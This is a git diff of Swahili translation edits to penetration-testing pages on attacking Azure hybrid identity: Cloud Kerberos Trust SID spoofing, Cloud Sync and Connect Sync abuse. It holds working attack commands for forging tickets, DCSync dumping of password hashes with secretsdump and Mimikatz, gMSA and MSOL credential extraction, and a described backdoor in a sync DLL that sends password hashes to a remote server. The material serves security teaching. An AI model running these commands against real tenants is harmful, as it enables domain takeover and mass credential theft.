usimamizi yaliyojengwa. Akaunti hii kwa kawaida haiwezi kuhamasishwa kwa Entra ID, na kufanya SID yake ipatikane kwa ajili ya kujifanya bila mgongano. **Hatua za Shambulio:** @@ -31,36 +31,36 @@ roadtx gettokens -u -p --resource aadgraph ``` *(Badala yake, `Connect-AADInt` ya AADInternals inaweza kutumika kuthibitisha kama Global Admin.)* -2. **Badilisha Sifa za Mtumiaji wa Hybrid On-Prem:** Tumia Azure AD **synchronization API** kuweka **onPremises Security Identifier (SID)** na **onPremises SAMAccountName** za mtumiaji wa hybrid uliochaguliwa ili ziendane na akaunti ya AD inayolengwa. Hii inamwambia Azure AD kwamba mtumiaji wa wingu anahusiana na akaunti ya on-prem ambayo tunataka kujifanya. Tumia zana za wazi **ROADtools Hybrid**: +2. **Badilisha Sifa za Mtumiaji wa Hybrid za On-Prem:** Tumia Azure AD **synchronization API** kuweka **onPremises Security Identifier (SID)** na **onPremises SAMAccountName** za mtumiaji wa hybrid uliochaguliwa ili ziendane na akaunti ya AD inayolengwa. Hii kwa ufanisi inamwambia Azure AD kwamba mtumiaji wa wingu anahusiana na akaunti ya on-prem ambayo tunataka kujifanya. Tumia zana za wazi **ROADtools Hybrid**: ```bash # Example: modify a hybrid user to impersonate the MSOL account python3 modifyuser.py -u -p \ --sourceanchor \ --sid --sam ``` -> `sourceAnchor` (ID isiyobadilika) ya mtumiaji inahitajika ili kubaini kitu cha Azure AD kinachohitaji kubadilishwa. Chombo kinaweka SID ya mtumiaji wa hybrid kwenye on-prem na jina la akaunti ya SAM kuwa thamani za lengo (kwa mfano, SID na SAM ya akaunti ya MSOL_xxxx). Azure AD kwa kawaida hairuhusu kubadilisha sifa hizi kupitia Graph (zinakuwa za kusoma tu), lakini API ya huduma ya usawazishaji inaruhusu na Wasimamizi wa Global wanaweza kuitumia kazi hii ya usawazishaji. +> `sourceAnchor` (ID isiyobadilika) ya mtumiaji inahitajika ili kubaini kitu cha Azure AD kinachohitaji kubadilishwa. Chombo kinaweka SID ya mtumiaji wa hybrid na jina la akaunti ya SAM kwa thamani za lengo (kwa mfano, SID na SAM ya akaunti ya MSOL_xxxx). Azure AD kwa kawaida hairuhusu kubadilisha sifa hizi kupitia Graph (zinakuwa za kusoma tu), lakini API ya huduma ya usawazishaji inaruhusu na Wasimamizi wa Global wanaweza kuitumia kazi hii ya usawazishaji. -3. **Pata TGT ya Sehemu kutoka Azure AD:** Baada ya kubadilisha, thibitisha kama mtumiaji wa hybrid kwa Azure AD (kwa mfano, kwa kupata PRT kwenye kifaa au kutumia akidi zao). Wakati mtumiaji anapoingia (hasa kwenye kifaa kilichounganishwa na domain au Entra), Azure AD itatoa **TGT ya sehemu ya Kerberos (TGT****AD**) kwa akaunti hiyo kwa sababu Cloud Kerberos Trust imewezeshwa. TGT hii ya sehemu imefungwa kwa ufunguo wa AzureADKerberos$ RODC na inajumuisha **target SID** tuliyoipanga. Tunaweza kuiga hii kwa kuomba PRT kwa mtumiaji kupitia ROADtools: +3. **Pata TGT ya Sehemu kutoka Azure AD:** Baada ya kubadilisha, thibitisha kama mtumiaji wa hybrid kwa Azure AD (kwa mfano, kwa kupata PRT kwenye kifaa au kutumia akidi zao). Wakati mtumiaji anapoingia (hasa kwenye kifaa kilichounganishwa na domain au kilichounganishwa na Entra), Azure AD itatoa **TGT ya sehemu ya Kerberos (TGT****AD**) kwa akaunti hiyo kwa sababu Cloud Kerberos Trust imewezeshwa. TGT hii ya sehemu imefungwa kwa ufunguo wa AzureADKerberos$ RODC na inajumuisha **target SID** tuliyoipanga. Tunaweza kuiga hii kwa kuomba PRT kwa mtumiaji kupitia ROADtools: ```bash roadtx getprt -u -p -d ``` -Hii inatoa faili la `.prt` linalojumuisha TGT ya sehemu na ufunguo wa kikao. Ikiwa akaunti ilikuwa na nenosiri la wingu pekee, Azure AD bado inajumuisha TGT_AD katika jibu la PRT. +Hii inatoa faili ya `.prt` inayojumuisha TGT ya sehemu na ufunguo wa kikao. Ikiwa akaunti ilikuwa na nenosiri la wingu pekee, Azure AD bado inajumuisha TGT_AD katika jibu la PRT. -4. **Badilisha TGT ya Sehemu kwa TGT Kamili (katika AD):** TGT ya sehemu sasa inaweza kuwasilishwa kwa Kichapisho cha Kikoa cha ndani ili kupata **TGT kamili** kwa akaunti lengwa. Tunaifanya hii kwa kutekeleza ombi la TGS kwa huduma ya `krbtgt` (huduma ya msingi ya TGT ya kikoa) -- kimsingi kuboresha tiketi kuwa TGT ya kawaida yenye PAC kamili. Zana zinapatikana kujiandaa kubadilishana hii. Kwa mfano, kutumia skripti ya ROADtools Hybrid: +4. **Badilisha TGT ya Sehemu kwa TGT Kamili (katika AD):** TGT ya sehemu sasa inaweza kuwasilishwa kwa Kichapisho cha Kikoa cha ndani ili kupata **TGT kamili** kwa akaunti lengwa. Tunaifanya hii kwa kutekeleza ombi la TGS kwa huduma ya `krbtgt` (huduma kuu ya TGT ya kikoa) -- kimsingi kuboresha tiketi kuwa TGT ya kawaida yenye PAC kamili. Zana zinapatikana kujiandaa kubadilishana hii. Kwa mfano, kutumia skripti ya ROADtools Hybrid: ```bash # Use the partial TGT from the PRT file to get a full TGT and NTLM hash python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash ``` -Hii script (au sawa na Impacket) itawasiliana na Domain Controller na kupata TGT halali kwa akaunti ya AD ya lengo, ikiwa ni pamoja na NTLM hash ya akaunti ikiwa kiendelezi maalum cha Kerberos kinatumika. Kiendelezi cha **`KERB-KEY-LIST-REQ`** kinajumuishwa kiotomatiki ili kuomba DC irejeshe NTLM hash ya akaunti ya lengo katika jibu lililofichwa. Matokeo ni cache ya akidi (`full_tgt.ccache`) kwa akaunti ya lengo *au* NTLM password hash iliyopatikana. +Hii script (au sawa na Impacket) itawasiliana na Domain Controller na kupata TGT halali kwa akaunti ya AD ya lengo, ikiwa ni pamoja na NTLM hash ya akaunti ikiwa kiendelezi maalum cha Kerberos kinatumika. Kiendelezi cha **`KERB-KEY-LIST-REQ`** kimejumuishwa kiotomatiki ili kuomba DC irudishe NTLM hash ya akaunti ya lengo katika jibu lililofichwa. Matokeo ni cache ya akidi (`full_tgt.ccache`) kwa akaunti ya lengo *au* NTLM password hash iliyopatikana. -5. **Jifanya kama Lengo na Pandisha hadi Domain Admin:** Sasa mshambuliaji kwa ufanisi **anadhibiti akaunti ya AD ya lengo**. Kwa mfano, ikiwa lengo lilikuwa akaunti ya AD Connect **MSOL**, ina haki za kuiga kwenye directory. Mshambuliaji anaweza kufanya shambulio la **DCSync** akitumia akidi za akaunti hiyo au Kerberos TGT ili kutupa password hashes kutoka AD (ikiwemo akaunti ya domain KRBTGT). Kwa mfano: +5. **Jifanya kama Lengo na Pandisha hadi Domain Admin:** Sasa mshambuliaji kwa ufanisi **anadhibiti akaunti ya AD ya lengo**. Kwa mfano, ikiwa lengo lilikuwa akaunti ya AD Connect **MSOL account**, ina haki za kuiga kwenye directory. Mshambuliaji anaweza kufanya shambulio la **DCSync** akitumia akidi za akaunti hiyo au Kerberos TGT ili kutupa password hashes kutoka AD (ikiwemo akaunti ya domain KRBTGT). Kwa mfano: ```bash # Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash) secretsdump.py 'AD_DOMAIN/$@' -hashes : LOCAL ``` Hii inatoa hash za nywila za watumiaji wote wa AD, ikimpa mshambuliaji hash ya KRBTGT (ikimruhusu kuunda tiketi za Kerberos za kikoa kwa hiari) na kwa ufanisi **Domain Admin** ruhusa juu ya AD. Ikiwa akaunti ya lengo ilikuwa mtumiaji mwingine mwenye mamlaka, mshambuliaji angeweza kutumia TGT kamili kupata rasilimali yoyote ya kikoa kama mtumiaji huyo. -6. **Usafi:** Kwa hiari, mshambuliaji anaweza kurejesha `onPremisesSAMAccountName` na SID za mtumiaji wa Azure AD zilizobadilishwa kupitia API hiyo hiyo au kwa kuondoa tu mtumiaji wa muda aliyeundwa. Katika kesi nyingi, mzunguko ujao wa usawazishaji wa Azure AD Connect utarejesha kiotomatiki mabadiliko yasiyoruhusiwa kwenye sifa zilizounganishwa. (Hata hivyo, kwa hatua hii uharibifu umeshafanyika -- mshambuliaji ana mamlaka ya DA.) +6. **Usafi:** Kwa hiari, mshambuliaji anaweza kurejesha `onPremisesSAMAccountName` na SID za mtumiaji wa Azure AD zilizobadilishwa kupitia API hiyo hiyo au kwa kuondoa tu mtumiaji wa muda aliyeundwa. Katika kesi nyingi, mzunguko ujao wa Azure AD Connect utarudisha kiotomatiki mabadiliko yasiyoruhusiwa kwenye sifa zilizounganishwa. (Hata hivyo, kwa hatua hii uharibifu umefanyika -- mshambuliaji ana ruhusa za DA.) > [!WARNING] > Kwa kutumia vibaya uaminifu wa wingu na mekanizma ya usawazishaji, Msimamizi wa Kimataifa wa Azure AD anaweza kujifanya kuwa karibu *yoyote* akaunti ya AD ambayo haijalindwa wazi na sera ya RODC, hata kama akaunti hiyo haijawahi kusawazishwa na wingu. Katika usanidi wa kawaida, hii **inaunganisha uaminifu kamili kutoka kwa kuathiriwa kwa Azure AD hadi kuathiriwa kwa AD ya ndani**. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md similarity index 73% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md index 7fdd142ed..e65b3a09e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md @@ -6,7 +6,7 @@ **Cloud Sync** ni njia mpya ya Azure ya **kusawazisha watumiaji kutoka AD hadi Entra ID**. -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync ni toleo jipya kutoka Microsoft lililoundwa kukidhi na kufikia malengo yako ya utambulisho wa mseto kwa kusawazisha watumiaji, vikundi, na mawasiliano hadi Microsoft Entra ID. Inafanikiwa kwa kutumia wakala wa usambazaji wa wingu wa Microsoft Entra badala ya programu ya Microsoft Entra Connect. Hata hivyo, inaweza kutumika pamoja na Microsoft Entra Connect Sync. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync ni toleo jipya kutoka Microsoft lililoundwa kukidhi na kufikia malengo yako ya utambulisho wa mchanganyiko kwa kusawazisha watumiaji, vikundi, na mawasiliano hadi Microsoft Entra ID. Inafanikiwa kufanya hivyo kwa kutumia wakala wa usambazaji wa wingu wa Microsoft Entra badala ya programu ya Microsoft Entra Connect. Hata hivyo, inaweza kutumika pamoja na Microsoft Entra Connect Sync. ### Principals Generated @@ -19,13 +19,13 @@ Ili hii ifanye kazi, baadhi ya wakala huundwa katika Entra ID na kwenye saraka y - Katika Entra ID pia kundi **`AAD DC Administrators`** limeundwa bila wanachama au wamiliki. Kundi hili ni muhimu ikiwa [`Microsoft Entra Domain Services`](./az-domain-services.md) inatumika. -- Katika AD, ama Akaunti ya Huduma **`provAgentgMSA`** imeundwa na SamAcountName kama **`pGMSA_$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), au moja ya kawaida yenye [**ruhusa hizi zinahitajika**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Kawaida, ile ya kawaida huundwa. +- Katika AD, ama Akaunti ya Huduma **`provAgentgMSA`** imeundwa na SamAcountName kama **`pGMSA_$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), au moja ya kawaida yenye [**ruhusa hizi zinahitajika**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Kawaida, ile ya kawaida inaundwa. > [!WARNING] > Kati ya ruhusa nyingine, Akaunti ya Huduma **`provAgentgMSA`** ina ruhusa za DCSync, ikiruhusu **mtu yeyote anayekabiliwa nayo kuathiri saraka nzima**. Kwa maelezo zaidi kuhusu [DCSync angalia hii](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). > [!NOTE] -> Kwa kawaida, watumiaji wa vikundi vya kipaumbele vinavyojulikana kama Domain Admins wenye sifa **`adminCount` kuwa 1 hawasawazishwi** na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya vikundi vya kipaumbele bila sifa hii au ambao wamepewa ruhusa kubwa moja kwa moja **wanaweza kusawazishwa**. +> Kwa kawaida watumiaji wa vikundi vya kipaumbele vinavyojulikana kama Domain Admins wenye sifa **`adminCount` kuwa 1 hawasawazishwi** na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya vikundi vya kipaumbele bila sifa hii au ambao wamepewa ruhusa kubwa moja kwa moja **wanaweza kusawazishwa**. ## Password Sychronization @@ -43,11 +43,11 @@ az-connect-sync.md ### AD --> Entra ID -- Ikiwa watumiaji wa AD wanapaswa kusawazishwa kutoka AD hadi Entra ID, kuhamasisha kutoka AD hadi Entra ID ni rahisi, tu **kabili nenosiri la mtumiaji fulani au badilisha nenosiri la mtumiaji fulani au unda mtumiaji mpya na subiri hadi isawazishwe kwenye saraka ya Entra ID (kawaida ni dakika chache tu)**. +- Ikiwa watumiaji wa AD wanapaswa kusawazishwa kutoka AD hadi Entra ID, kuhamasisha kutoka AD hadi Entra ID ni rahisi, tu **kabili nenosiri la mtumiaji fulani au kubadilisha nenosiri la mtumiaji fulani au kuunda mtumiaji mpya na kusubiri hadi isawazishwe kwenye saraka ya Entra ID (kawaida ni dakika chache tu)**. Hivyo unaweza kwa mfano - Kabilisha akaunti ya **`provAgentgMSA`**, fanya shambulio la DCSync, vunja nenosiri la mtumiaji fulani na kisha litumie kuingia katika Entra ID. -- Unda tu mtumiaji mpya katika AD, subiri hadi isawazishwe katika Entra ID na kisha litumie kuingia katika Entra ID. +- Tuunda mtumiaji mpya katika AD, subiri hadi isawazishwe katika Entra ID na kisha litumie kuingia katika Entra ID. - Badilisha nenosiri la mtumiaji fulani katika AD, subiri hadi isawazishwe katika Entra ID na kisha litumie kuingia katika Entra ID. Ili kukabili akidi za **`provAgentgMSA`**: @@ -72,7 +72,7 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_$ -Properties msDS-Man $decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword ``` -Sasa unaweza kutumia hash ya gMSA kufanya shambulio la Pass-the-Hash dhidi ya Entra ID ukitumia akaunti ya `provAgentgMSA` na kudumisha kudumu ukiweza kufanya shambulio za DCSync dhidi ya AD. +Sasa unaweza kutumia hash ya gMSA kufanya shambulio la Pass-the-Hash dhidi ya Entra ID ukitumia akaunti ya `provAgentgMSA` na kudumisha uthibitisho ukiwa na uwezo wa kufanya shambulio za DCSync dhidi ya AD. Kwa maelezo zaidi kuhusu jinsi ya kuathiri Active Directory angalia: @@ -87,7 +87,7 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i ../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}} -Kuhusu kudumu [hii blogu](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) inapendekeza kwamba inawezekana kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy) kuingiza nyuma dll **`Microsoft.Online.Passwordsynchronisation.dll`** iliyoko katika **`C:\Program Files\Microsoft Azure AD Sync\Bin`** ambayo inatumika na wakala wa Cloud Sync kufanya usawazishaji wa nywila na kuifanya itoe hash za nywila za watumiaji wanaosawazishwa kwa seva ya mbali. Hash zinaundwa ndani ya darasa **`PasswordHashGenerator`** na blogu inapendekeza kuongeza baadhi ya msimbo ili darasa liwe kama (kumbuka `use System.Net` na matumizi ya `WebClient` kutoa hash za nywila): +Kuhusu uthibitisho [hii chapisho la blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) linaonyesha kwamba inawezekana kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy) kuingiza backdoor kwenye dll **`Microsoft.Online.Passwordsynchronisation.dll`** iliyoko katika **`C:\Program Files\Microsoft Azure AD Sync\Bin`** ambayo inatumika na wakala wa Cloud Sync kufanya usawazishaji wa nywila na kuifanya itoe hash za nywila za watumiaji wanaosawazishwa kwa seva ya mbali. Hash zinaundwa ndani ya darasa **`PasswordHashGenerator`** na chapisho la blog linaonyesha kuongeza baadhi ya msimbo ili darasa liwe kama (kumbuka `use System.Net` na matumizi ya `WebClient` kutoa hash za nywila): ```csharp using System; using System.Net; @@ -129,12 +129,12 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.C - Ikiwa **Password Writeback** imewezeshwa, unaweza kubadilisha nenosiri la watumiaji wengine kutoka Entra ID na ikiwa una ufikiaji wa mtandao wa AD, ungana kwa kutumia wao. Kwa maelezo zaidi angalia sehemu ya [Az Connect Sync](./az-connect-sync.md) kwa maelezo zaidi kwani uandishi wa nenosiri umewekwa kupitia wakala huo. -- Wakati huu, Cloud Sync pia inaruhusu **"Microsoft Entra ID to AD"**, lakini baada ya muda mrefu niligundua kuwa HAIWEZEKANI kusawazisha watumiaji wa EntraID hadi AD na kwamba inaweza kusawazisha tu watumiaji kutoka EntraID ambao walikuwa wamesawazishwa na hash ya nenosiri na wanatoka kwenye kikoa ambacho ni sehemu ya msitu wa kikoa sawa na kikoa tunachosawazisha kama unavyoweza kusoma katika [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits): +- Wakati huu, Cloud Sync pia inaruhusu **"Microsoft Entra ID to AD"**, lakini baada ya muda mrefu niligundua kuwa HAIWEZI kuunganisha watumiaji wa EntraID na AD na kwamba inaweza kuunganisha tu watumiaji kutoka EntraID ambao walikuwa wakiunganishwa na hash ya nenosiri na wanatoka kwenye kikoa kinachomilikiwa na msitu sawa na kikoa tunachounganisha kama unavyoweza kusoma katika [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits): -> - Makundi haya yanaweza kuwa na watumiaji waliosawazishwa kwenye eneo la kazi na / au makundi ya usalama yaliyoanzishwa kwenye wingu. -> - Akaunti za watumiaji za eneo la kazi ambazo zimesawazishwa na ni wanachama wa kundi hili la usalama lililoanzishwa kwenye wingu, zinaweza kuwa kutoka kwenye kikoa sawa au kikoa tofauti, lakini zote lazima ziwe kutoka kwenye msitu mmoja. +> - Makundi haya yanaweza kuwa na watumiaji waliounganishwa kwenye eneo la kazi na / au makundi ya usalama yaliyoundwa kwenye wingu. +> - Akaunti za watumiaji za eneo la kazi ambazo zimeunganishwa na ni wanachama wa kundi hili la usalama lililoundwa kwenye wingu, zinaweza kuwa kutoka kwenye kikoa sawa au kikoa tofauti, lakini zote lazima ziwe kutoka kwenye msitu mmoja. -Hivyo, uso wa shambulio (na matumizi) wa huduma hii umepunguzwa sana kwani mshambuliaji atahitaji kuathiri AD ya awali ambapo watumiaji wanapaswa kusawazishwa ili kuathiri mtumiaji katika kikoa kingine (na vyote vinapaswa kuwa katika msitu mmoja kwa wazi). +Hivyo, uso wa shambulio (na matumizi) wa huduma hii umepunguzwa sana kwani mshambuliaji anahitaji kuathiri AD ya awali ambapo watumiaji wanaundwa ili kuathiri mtumiaji katika kikoa kingine (na vyote vinapaswa kuwa katika msitu mmoja kwa wazi). ### Enumeration ```bash diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md similarity index 76% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md index ebfaaac0d..7009ef780 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md @@ -4,9 +4,9 @@ ## Basic Information -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Huduma za usawazishaji za Microsoft Entra Connect (Microsoft Entra Connect Sync) ni sehemu kuu ya Microsoft Entra Connect. Inashughulikia shughuli zote zinazohusiana na usawazishaji wa data za utambulisho kati ya mazingira yako ya ndani na Microsoft Entra ID. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) ni sehemu kuu ya Microsoft Entra Connect. Inashughulikia shughuli zote zinazohusiana na kusawazisha data za utambulisho kati ya mazingira yako ya ndani na Microsoft Entra ID. -Ili kuitumia, inahitajika kufunga **`Microsoft Entra Connect Sync`** wakala katika seva ndani ya mazingira yako ya AD. Wakala huyu ndiye atakayeshughulikia usawazishaji kutoka upande wa AD. +Ili kuitumia, inahitajika kufunga **`Microsoft Entra Connect Sync`** wakala katika seva ndani ya mazingira yako ya AD. Wakala huyu atakuwa ndiye anayeshughulikia usawazishaji kutoka upande wa AD.
@@ -20,25 +20,25 @@ az-cloud-sync.md - Akaunti **`MSOL_`** inaundwa kiotomatiki katika AD ya ndani. Akaunti hii inapata jukumu la **Directory Synchronization Accounts** (tazama [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) ambayo inamaanisha kwamba ina **idhini za replication (DCSync) katika AD ya ndani**. - Hii inamaanisha kwamba mtu yeyote anayepata akaunti hii ataweza kuathiri eneo la ndani. -- Akaunti ya huduma inayosimamiwa **`ADSyncMSA`** inaundwa katika AD ya ndani bila ruhusa maalum za msingi. -- Katika Entra ID, Msingi wa Huduma **`ConnectSyncProvisioning_ConnectSync_`** unaundwa kwa kutumia cheti. +- Akaunti ya huduma iliyosimamiwa **`ADSyncMSA`** inaundwa katika AD ya ndani bila ruhusa maalum za msingi. +- Katika Entra ID, Service Principal **`ConnectSyncProvisioning_ConnectSync_`** inaundwa kwa cheti. ## Synchronize Passwords ### Password Hash Synchronization -Sehemu hii inaweza pia kutumika **kusawazisha nywila kutoka AD hadi Entra ID** ili watumiaji waweze kutumia nywila zao za AD kuungana na Entra ID. Kwa hili, inahitajika kuruhusu usawazishaji wa hash ya nywila katika wakala wa Microsoft Entra Connect Sync uliosakinishwa katika seva ya AD. +Sehemu hii inaweza pia kutumika **kusawazisha nywila kutoka AD hadi Entra ID** ili watumiaji waweze kutumia nywila zao za AD kuungana na Entra ID. Kwa hili, inahitajika kuruhusu usawazishaji wa nywila za hash katika wakala wa Microsoft Entra Connect Sync uliosakinishwa katika seva ya AD. -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Usawazishaji wa hash ya nywila** ni moja ya mbinu za kuingia zinazotumika kufanikisha utambulisho wa hybrid. **Azure AD Connect** inasawazisha hash, ya hash, ya nywila ya mtumiaji kutoka kwa mfano wa Active Directory wa ndani hadi mfano wa Azure AD wa msingi wa wingu. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** ni moja ya mbinu za kuingia zinazotumika kufanikisha utambulisho wa mseto. **Azure AD Connect** inasawazisha hash, ya hash, ya nywila ya mtumiaji kutoka kwa mfano wa Active Directory wa ndani hadi mfano wa Azure AD wa wingu. -Kimsingi, **watumiaji** wote na **hash ya hash za nywila** wanasawazishwa kutoka kwa AD ya ndani hadi Azure AD. Hata hivyo, **nywila za maandiko wazi** au **hash za asili** hazitumwi kwa Azure AD. +Kimsingi, **watumiaji** wote na **hash ya nywila za hash** wanasawazishwa kutoka kwa AD ya ndani hadi Azure AD. Hata hivyo, **nywila za maandiko wazi** au **hashes** **za asili** hazitumwi kwa Azure AD. -**Usawazishaji wa hash** unafanyika kila **dakika 2**. Hata hivyo, kwa kawaida, **kuisha kwa nywila** na **kuisha kwa akaunti** **hakusawazishwi** katika Azure AD. Hivyo, mtumiaji ambaye **nywila yake ya ndani imeisha** (haijabadilishwa) anaweza kuendelea **kupata rasilimali za Azure** akitumia nywila ya zamani. +**Usawazishaji wa hashes** unafanyika kila **dakika 2**. Hata hivyo, kwa kawaida, **kuisha kwa nywila** na **kuisha kwa akaunti** **hakusawazishwi** katika Azure AD. Hivyo, mtumiaji ambaye **nywila yake ya ndani imeisha** (haijabadilishwa) anaweza kuendelea **kupata rasilimali za Azure** akitumia nywila ya zamani. Wakati mtumiaji wa ndani anapotaka kupata rasilimali ya Azure, **uthibitishaji unafanyika kwenye Azure AD**. > [!NOTE] -> Kwa kawaida, watumiaji wa vikundi vilivyo na ruhusa maarufu kama Domain Admins wenye sifa **`adminCount` kuwa 1 hawanasawazishwi** na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya vikundi vyenye ruhusa bila sifa hii au ambao wamepewa ruhusa kubwa moja kwa moja **wanaweza kusawazishwa**. +> Kwa kawaida watumiaji wa vikundi vya kibali vilivyojulikana kama Domain Admins wenye sifa **`adminCount` kuwa 1 hawanasawazishwi** na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya vikundi vya kibali bila sifa hii au ambao wamepewa ruhusa za juu moja kwa moja **wanaweza kusawazishwa**. ### Password Writeback @@ -46,13 +46,13 @@ Mipangilio hii inaruhusu **kusawazisha nywila kutoka Entra ID hadi AD** wakati m Hii ni ya kuvutia sana kuathiri AD kutoka kwa Entra ID iliyovunjwa kwani utaweza kubadilisha nywila ya "karibu" mtumiaji yeyote. -Wasimamizi wa eneo na watumiaji wengine wanaohusiana na vikundi fulani vya ruhusa hawana nakala ikiwa kikundi kina sifa **`adminCount` kuwa 1**. Lakini watumiaji wengine ambao wamepewa ruhusa kubwa ndani ya AD bila kuwa sehemu ya vikundi hivyo wanaweza kubadilisha nywila zao. Kwa mfano: +Wasimamizi wa eneo na watumiaji wengine wanaohusiana na vikundi fulani vya kibali hawana nakala ikiwa kikundi kina sifa ya **`adminCount` kuwa 1**. Lakini watumiaji wengine ambao wamepewa ruhusa za juu ndani ya AD bila kuhusika na vikundi hivyo wanaweza kubadilisha nywila zao. Kwa mfano: -- Watumiaji walipewa ruhusa kubwa moja kwa moja. +- Watumiaji walipewa ruhusa za juu moja kwa moja. - Watumiaji kutoka kikundi cha **`DNSAdmins`**. - Watumiaji kutoka kikundi **`Group Policy Creator Owners`** ambao wameunda GPOs na kuzipeleka kwa OUs wataweza kubadilisha GPOs walizounda. - Watumiaji kutoka **`Cert Publishers Group`** ambao wanaweza kuchapisha vyeti kwa Active Directory. -- Watumiaji wa kikundi kingine chochote chenye ruhusa kubwa bila sifa ya **`adminCount` kuwa 1**. +- Watumiaji wa kikundi kingine chochote chenye ruhusa za juu bila sifa ya **`adminCount` kuwa 1**. ## Pivoting AD --> Entra ID @@ -90,11 +90,11 @@ Inawezekana kutoa usanidi kutoka moja ya meza, ikiwa moja imefungwa: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -**Usanidi uliofungwa** umefungwa kwa **DPAPI** na unajumuisha **nywila za mtumiaji wa `MSOL_*`** katika AD ya ndani na nywila ya **Sync\_\*** katika AzureAD. Hivyo, kuathiri hizi kunawezesha kupandisha hadhi hadi AD na AzureAD. +Usanidi **ulioungwa** umefungwa kwa **DPAPI** na unajumuisha **nywila za mtumiaji wa `MSOL_*`** katika AD ya ndani na nywila ya **Sync\_\*** katika AzureAD. Hivyo, kuathiri hizi kunawezesha kupandisha hadhi hadi AD na AzureAD. Unaweza kupata [muonekano kamili wa jinsi akreditivu hizi zinavyohifadhiwa na kufichuliwa katika mazungumzo haya](https://www.youtube.com/watch?v=JEIR5oGCwdg). -### Kutumia MSOL\_\* +### Kutumia MSOL\_* ```bash # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version @@ -112,7 +112,7 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' ``` > [!WARNING] -> Mashambulizi ya awali yalihatarisha nenosiri lingine ili kuungana na mtumiaji wa Entra ID anayeitwa `Sync_*` na kisha kuhatarisha Entra ID. Hata hivyo, mtumiaji huyu hayupo tena. +> Mashambulizi ya awali yalihatarisha nenosiri jingine ili kuungana na mtumiaji wa Entra ID anayeitwa `Sync_*` na kisha kuhatarisha Entra ID. Hata hivyo, mtumiaji huyu hayupo tena. ### Kutumia ConnectSyncProvisioning_ConnectSync\_ @@ -126,19 +126,19 @@ Programu hii imeundwa bila kuwa na majukumu yoyote ya usimamizi wa Entra ID au A - `PasswordWriteback.RefreshClient.All` - `PasswordWriteback.RegisterClientVersion.All` -Imependekezwa kwamba SP wa programu hii bado inaweza kutumika kufanya baadhi ya vitendo vya kijasiri 